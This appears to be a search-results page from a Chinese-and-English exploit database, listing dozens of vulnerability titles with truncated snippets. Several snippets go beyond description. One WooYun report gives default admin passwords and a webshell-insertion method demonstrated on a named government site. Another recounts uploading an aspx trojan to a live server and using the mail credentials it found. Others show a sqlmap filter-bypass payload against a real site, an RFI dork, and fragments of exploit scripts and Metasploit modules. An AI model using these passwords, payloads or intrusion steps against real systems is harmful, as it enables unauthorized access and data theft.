56796 matches found
Web Wiz Rich Text Editor 4.0 Multiple Remote Vulnerabilities
No description provided by source. WwW.BugReport.ir AmnPardaz Security Research Team Title: Web Wiz Rich Text EditorTM Vendor: http://www.webwizguide.com/ Bug: Directory traversal + HTM/HTML file creation on the server Vulnerable Version: 4.0 Exploit: Available Fix Available: No! Fast Solution is...
Linux Kernel ISDN_Net.C本地缓冲区溢出漏洞
BUGTRAQ ID: 26605 CVE ID:CVE-2007-6063 CNCVE ID:CNCVE-20076063 Linux是一款开放源代码的操作系统。 Linux包含的'isdnnetsetcfg'函数存在设计错误，本地攻击者可以利用漏洞进行缓冲区溢出攻击，可能提升特权。 在isdnioctl函数中会调用isdnnetsetcfg： isdnioctl drivers/isdn/i4l/isdncommon.c: 1270 isdnioctlstruct inode inode, struct file file, uint cmd, ulong arg...
DeluxeBB CP.PHP安全绕过漏洞
DeluxeBB是一款基于PHP的WEB应用程序。 DeluxeBB不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞更改管理员信息。 问题是由于'cp.php'脚本对用户提交的WEB参数缺少过滤，当更新自身的档案时，DeluxeBB执行如下有问题代码： $db-unbufferedquery"UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE username='$membercookie'"; 因此可更改cookie "membercookie"，如更改远程用户的EMAI...
phpBB Links MOD Remote Blind SQL Injection Exploit
No description provided by source. ?php / D:\usr\local\phpphp test.php http://www.skypebbs.com/ -id=2 ------------------------------------------------------------ phpBB Links MOD Remote Blind SQL Injection Exploit exploit by flyh4tcnsst.org bug found by Love Fly dork:Links MOD v1.2.2 by phpBB2...
phpRealty 0.02 (MGR) Multiple Remote File Inclusion Vulnerabilities
No description provided by source. |-------------------------------------------------------------------------------| | | | phpRealty 0.02 MGR Remote File include | | | | Script : phpRealty | | Version : 0.02 | | Authord : QTRinux | | Contact : Qataro at hotmail dot com | | Vendor :...
Microsoft Visual Basic 6.0 VBP_Open OLE Local CodeExec Exploit
No description provided by source. !/usr/bin/perl ' ++ Microsoft Visual Basic 6.0 Code Execution 0-Day ++ ' ++++++++++++++++++++++++++++++++++++++++++++++++++++++ '++ Author: Koshi + '++ Email: heykoshi at gmail dot com +...
Beacon Splash.lang.PHP远程文件包含漏洞
Beacon是一款基于PHP的WEB应用程序。 Beacon不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Splash.lang.PHP'脚本对用户提交的'languagePath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 GNU Beacon 0.2 目前没有解决方案提供： http://savannah.gnu.org/projects/beaconoptions...
Wordpress plugin myflash <= 1.00 (wppath) RFI Vulnerability
No description provided by source. --------------------------------- Oyle Kahpe Ki Dünya ! -------------------------------------- Title : Wordpress plugin myflash = V1.00 wppath RFI Vulnerability -------------------------------------------------------------------------------- Author: CrackersChil...
Xoops Module Virii Info <= 1.10 (index.php) Remote File Include Exploit
No description provided by source. html head meta http-equiv="Content-Type" content="text/html; charset=windows-1254" titleXoops Module Virii Info = 1.10 index.php Remote File Include Exploit/title script language="JavaScript"...
Active Auction Pro 7.1 (default.asp catid) SQL Injection Vulnerability
No description provided by source. Title : Active Auction Remote SQL Injection Vulnerability Author : CyberGhost Demo Page : http://www.activewebsoftwares.com/demoactiveauction Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=1 Vuln. Username :...
Mani Stats Reader <= 1.2 (ipath) Remote File Include Vulnerability
No description provided by source. Mani Admin Plugin Stats Reader V1.2 rfi : dork:"2006 by www.mani-stats-reader.de.vu" "allinurl:.php?ipath= inurl:"css"" vuln:index.php?ipath=evilshit greetz:RST, LinuxPakistan phpfreaks [email protected] milw0rm.com 2007-03-02...
Sina UC 2006 Activex SendChatRoomOpt Exploit
新浪UC是中国非常流行的IM工具之一 http://www.51uc.com 漏洞的起因是Sina UC的多个ActiveX控件的参数缺乏必要的验证，攻击者构造恶意网页，可以远程完全控制安装了Sina UC 的用户的计算机， 多个控件存在栈溢出问题，包括但不限于： 1. clsid:77AE4780-75E0-4CB0-A162-D1BBE3D50384 C:\Program Files\sina\UC\ActiveX\BROWSER2UC.dll Sub SendChatRoomOpt ByVal astrVerion As String , ByVal astrUserID As...
McAfee NeoTrace ActiveX控件远程缓冲区溢出漏洞
McAfee NeoTrace是一款跟踪路由数据包的应用程序。 NeoTraceExplorer.NeoTraceLoader ActiveX存在边界条件问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 攻击者必须构建恶意WEB页，诱使用户访问来触发，目前没有详细漏洞细节提供。 0 McAfee NeoTrace Professional 3.25 McAfee NeoTrace Express 3.25 目前没有解决方案提供： a href="http://www.networkingfiles.com/PingFinger/Neotraceexpress.htm"...
LibRPM查询报告任意代码执行漏洞
RPM软件包管理器（RPM）是一款功能强大的命令行软件包管理系统，可用于安装、卸载、核实、查询和更新计算机软件包。 RPM库在处理查询报告时存在漏洞，某些畸形RPM软件包可能导致函数库崩溃或导致执行恶意指令。 如果用户受骗查询了特制的RPM软件包的话，就可能导致以用户的权限执行任意指令。 RPM RPM Package Manager = 4.4.9 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.rpm.org/...
VAMP Webmail <= 2.0beta1 (yesno.phtml) Remote Include Vulnerability
No description provided by source. ToXiC VAMP Webmail Remote File Inclusion by ToXiC CreW BuG FounD by Drago84 Application Affect:VAMP Webmail Page: yesno.phtml Dir : /setup/ Problem: ?if$answer=="Yes" include $yesurl; else include $nourl; ? ExPloit :...
SQLi, XSS zero-days expose Belkin IoT devices, Android smartphones
LONDON, UK – Research director Scott Tenaglia and lead research engineer Joe Tanen detailed the vulnerabilities during their ‘Breaking BHAD: Abusing Belkin Home Automation devices’ talk at the Black Hat Europe conference in London last Friday. The zero-day flaws specifically relate to Belkin’s...
Sophos XG from Unauthenticated Persistent XSS to Unauthorized Root Access(CVE-2017-18014)
Vulnerability Summary The following advisory describes an unauthenticated persistent XSS that leads to unauthorized root access found in Sophos XG version 17. Sophos XG Firewall “provides unprecedented visibility into your network, users, and applications directly from the all-new control center...
libxls read_MSAT Code Execution Vulnerability(CVE-2017-2897)
Summary An exploitable out-of-bounds write vulnerability exists in the readMSAT function of libxls 1.4. A specially crafted XLS file can cause a memory corruption resulting in remote code execution. An attacker can send malicious XLS file to trigger this vulnerability. Tested Versions libxls 1.4...
HDF5 Group libhdf5 H5T_COMPOUND Code Execution Vulnerability(CVE-2016-4333)
Description HDF5 is a file format that is maintained by a non-profit organization, The HDF Group. HDF5 is designed to be used for storage and organization of large amounts of scientific data and is used to exchange data structures between applications in industries such as the GIS industry via...
Foscam IP Video Camera WebService CGI Parameter Code Execution Vulnerability(CVE-2017-2805)
Summary An exploitable stack-based buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera. A specially crafted http request can cause a stack-based buffer overflow resulting in overwriting arbitrary data on the stack frame. An attacker can simp...
WebKit: UXSS via CachedFrameBase::restore
This is similar to the case https://bugs.chromium.org/p/project-zero/issues/detail?id=1151. But this time, javascript handlers may be fired in FrameLoader::open. void FrameLoader::openCachedFrameBase& cachedFrame ... cleardocument, true, true, cachedFrame.isMainFrame; Click anywhere... function...
macOS HelpViewer XSS leads to arbitrary file execution and arbitrary file read（CVE-2017-2361）
HelpViewer is an application and using WebView to show a help file. You can see it simply by the command: open /Applications/Safari.app/Contents/Resources/Safari.help or using "help:" scheme: help:openbook=com.apple.safari.help...
AVTECH video surveillance equipment authentication bypass and other vulnerabilities
Authentication bypass vulnerability There are two ways to achieve authentication bypass: The first one is. cab way, the cab file format is a video player plug-in, stored in the web root directory, it may need to verify directly be accessed and downloaded, and the device end only through the strst...
Web interface for DNSmasq / Mikrotik - SQL Injection
No description provided by source...
FCKeditor JSP版本 connector模块文件上传漏洞
No description provided by source...
SDCMS大量网站存在弱口令#Getshell方法
简要描述： RT 详细说明： SDCMS大量网站存在弱口令 默认后台 admin/login.asp 弱口令 admin admin、admin admin888、sdcms sdcms、admin 123456 随便找了个政府站 http://www.qhxjcy.gov.cn/admin/ sdcms sdcms 进后台选择--界面 接着 模板管理----管理模板 选择 sdcmsindex.asp 并插入asp一句话 访问http://www.qhxjcy.gov.cn/index.asp img...
某Zoomla系统漏洞导致服务器可控（已登录Zoomla公司邮箱和官方老论坛管理员帐号）
简要描述： 上传漏洞引起的一系列问题，乌云有该漏洞说明 详细说明： 通过http://www.njzxw.cn/Plugins/swfFileUpload/UploadHandler.ashx 可构造上传表单提交aspx马到服务器，原理可参考： WooYun: 逐浪cms 2.4某处任意文件上传（不需要登录） 通过查看，该应用所属权限较高，可以控制该服务器挂的几十个大小网站，发现其中有一个bbs.zoomla.cn的官方老版论坛也在该服务器，并且配置公司邮箱账户密码： 该密码可登录mail.hx008.com ，mail.zoomla.cn的官方账户:web，分别是逐浪和华夏互联的官方邮...
Apple iOS CFNetwork cookie改写漏洞
No description provided by source...
Coremail一处存储型跨站脚本（有触发条件）
简要描述： Coremail一处存储型跨站脚本漏洞，已申请CVE编号：CVE-2015-6942 详细说明： 影响版本：XT3.0 其他版本未测试 测试步骤： 1.首先创建一个带有超链接的doc文档，超链接为"javascript:alert" 2.创建一封邮件并上传附件，然后发送给需要攻击的用户可发送给任意用户。 3.受害者如果在WebMail里打开邮件并在线预览doc文档时，点击超链接，即可执行攻击代码。 4.重新将文档中的超链接换成location.href方式获取Cookie的超连接的即可...
Coremail官网SQL注入可读全库
简要描述： coremail官网存在注入，有防护，可绕过。 详细说明： 漏洞地址：http://www.coremail.cn/gjzc2/list117.aspx?lcid=412 漏洞证明： 有防护，直接用sqlmap加个tamper=chardoubleencode.py可以跑出来。 这个是sqlmap用的payload： Place: GET Parameter: lcid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: lcid=412 AND...
Adobe Flash Player .mp4 'cprt' Overflow"
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3...
phpBB Spider Friendly Module <= 1.3.10 File Include Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? print ' | \\ | \\ | \ . . |\ \ \ /\ \ / /| || | | | | \ | \ Y / | || | | \ | \ \ / | || | |/ // / / ||| \ | / / \ / \ |\ /\ / / \ / \ | | | | / /\ \ / \ / \ | | | | / | / Y \ || / /| /| /...
HP OpenView NNM 7.53 OvJavaLocale - Buffer Overflow Vulnerability
No description provided by source. HP OPENVIEW NNM OVJAVALOCALE BUFFER OVERFLOW VULNERABILITY 1. ADVISORY INFORMATION Title: HP OpenView NNM OvJavaLocale Buffer Overflow Vulnerability Advisory Id: CORE-2010-0608 Advisory URL: http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow...
Mambo/Joomla Com_comprofiler 1.0 Plugin.class.PHP Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/19725/info The Mambo and Joomla comcomprofiler component is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include arbitrary...
Pandora FMS <= 3.1 Authentication Bypass
No description provided by source. + Introduction Pandora FMS for Pandora Flexible Monitoring System is a software solution for monitoring computer networks. It allows monitoring in a visual way the status and performance of several parameters from different operating systems, servers, applicatio...
Postfix 1.1.x Denial of Service Vulnerabilities (1)
No description provided by source. source: http://www.securityfocus.com/bid/8333/info Debian has reported two vulnerabilities in the Postfix mail transfer agent. The first vulnerability, CAN-2003-0468, can allow for an adversary to bounce-scan a private network. It has also been reported that thi...
ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
No description provided by source. This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow FreeBSD', 'Description' = %q This module...
Roundcube Webmail 0.8.0 - Stored XSS
No description provided by source. !/usr/bin/python ''' Exploit Title: Roundcube Webmail Stored XSS. Date: 14/08/2012 Exploit Author: Shai rod @NightRang3r Vendor Homepage: http://roundcube.net Software Link:...
Adobe Reader - util.printf() JavaScript Function Stack Overflow Exploit (2)
No description provided by source. Adobe Reader Javascript Printf Buffer Overflow Exploit =========================================================== Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow CVE-2008-2992 Thanks to coresecurity for the technical background...
Adobe Flash Player < 10.1.53 .64 Action Script Type Confusion Exploit (DEP+ASLR bypass)
No description provided by source. Source: http://www.abysssec.com/blog/2011/04/exploiting-adobe-flash-player-on-windows-7/ Adobe Flash player Action script type confusion exploit DEP+ASLR bypass advisory text : Here is another reliable windows 7 exploit . the main method used for exploitation is...
MCFileManager Plugin for TinyMCE 3.2.2.3 - Arbitrary File Upload Vulnerability
No description provided by source. ============================================== File Upload Vulnerability Plugins tinymce ============================================== http://tinymce.moxiecode.com/pluginsfilemanager.php Major version 3 Minor version 2.2.3 Author : Vladimir Vorontsov Contact :...
Java Web Start Double Quote Injection Remote Code Execution
No description provided by source. ======================================================== Java Web Start Double Quote Inject Remote Code Execution ======================================================== Date: Jun 12 2012 updated: Jun 6 2013 Author: Rh0 Version: At least Java 1.6.31 to 1.6.35 a...
AWStats (6.0-6.2) configdir Remote Command Execution Exploit (c code)
No description provided by source. / AwStats exploit by Thunder, [email protected] This exploit makes use of the remote command execution bug discovered in AwStats ver 6.2 and below. The bug resides in the awstats.pl perl script. The script does not sanitise correctly the user input for the...
Adobe Flash Player Integer Underflow Remote Code Execution
No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def...
Cisco TelePresence Multiple Vulnerabilities - SOS-11-010
No description provided by source. Sense of Security - Security Advisory - SOS-11-010 Release Date. 19-Sep-2011 Last Update. - Vendor Notification Date. 21-Feb-2011 Product. Cisco TelePresence Series Platform. Cisco Affected versions. C = TC4.1.2, MXP = F9.1 Severity Rating. Low - Medium Impact...
大汉版通JIS统一身份认证系统某处泄漏用户密码及一处跳转漏洞
简要描述： 可获取所有用户的用户信息（包含密码），另外附送一个跳转的漏洞。 详细说明： 获取用户密码的问题主要是产生在接口上的，这接口过于开放了……跳转就没什么可说的了。 先发跳转： http://management.ysx.gov.cn/jis/check/zx.jsp?url=http://www.baidu.com 自定义url参数即可。 漏洞证明： 接口的问题产生在jis/interface/offer.jsp http://management.ysx.gov.cn/jis/interface/offer.jsp?flag=user...
ECSHOP后台getshell漏洞
简要描述： ECSHOP 后台getshell 详细说明： admin/editlanguages.php elseif $REQUEST'act' == 'edit' / 语言项的路径 / $langfile = isset$POST'filepath' ? trim$POST'filepath' : ''; / 替换前的语言项 / $srcitems = !empty$POST'item' ? stripslashesdeep$POST'item' : ''; / 修改过后的语言项 / $dstitems = array; $POST'itemid' =...
Cisco WebEx Training Center开放重定向漏洞
Bugtraq ID:64285 CVE ID:CVE-2013-6966 Cisco WebEx Training Center是一款互动式培训解决方案，可开展电子教学。 Cisco WebEx Training Center存在开放重定向漏洞，允许远程攻击者利用漏洞构建恶意URI，诱使用户解析，可重定向用户到攻击者指定WEB站点，进行网络钓鱼等攻击。 0 Cisco WebEx Training Center 厂商补丁： Cisco ----- 用户可参考如下厂商提供的安全公告获得补丁信息：...
ActiveMQ Cron Jobs CVE-2013-1879 HTML注入漏洞
Bugtraq ID:61142 CVE ID:CVE-2013-1879 Apache ActiveMQ是一款开源消息总线，支持JMS1.1和J2EE 1.4规范的JMS Provider实现 Apache ActiveMQ处理cron作业时没有对用户提交的某些参数进行过滤，允许攻击者利用漏洞注入任意HTML和脚本代码，当恶意数据被查看时，可获取用户敏感信息或劫持用户会话 0 Apache ActiveMQ 5.8.0 厂商解决方案 用户可参考如下厂商提供的安全公告获得补丁信息： https://issues.apache.org/jira/browse/AMQ-4397...
Discuz点触验证码插件验证绕过+密码明文传输
简要描述： 部分DZ论坛启用点触验证码后验证码完全没有起作用。同时由于更改了登录逻辑，还会造成论坛登录密码明文传输。 详细说明： 由于点触验证码插件的验证逻辑有问题，启用验证码之后可以简单绕过。同时由于更改了登录逻辑，会将DZ原本的md5传输的密文变成明文传输。 漏洞证明： 将红框中的display: none; 去掉，然后可以看到多了一个登录按钮。 这个按钮是没有启用验证逻辑的。直接输入用户名密码就可以登录。同时这样登录的话POST提交的是正常的md5加密后的密码。 但是如果输入验证码提交的话，POST数据就变成了： 其中可以看到明文的密码字段。...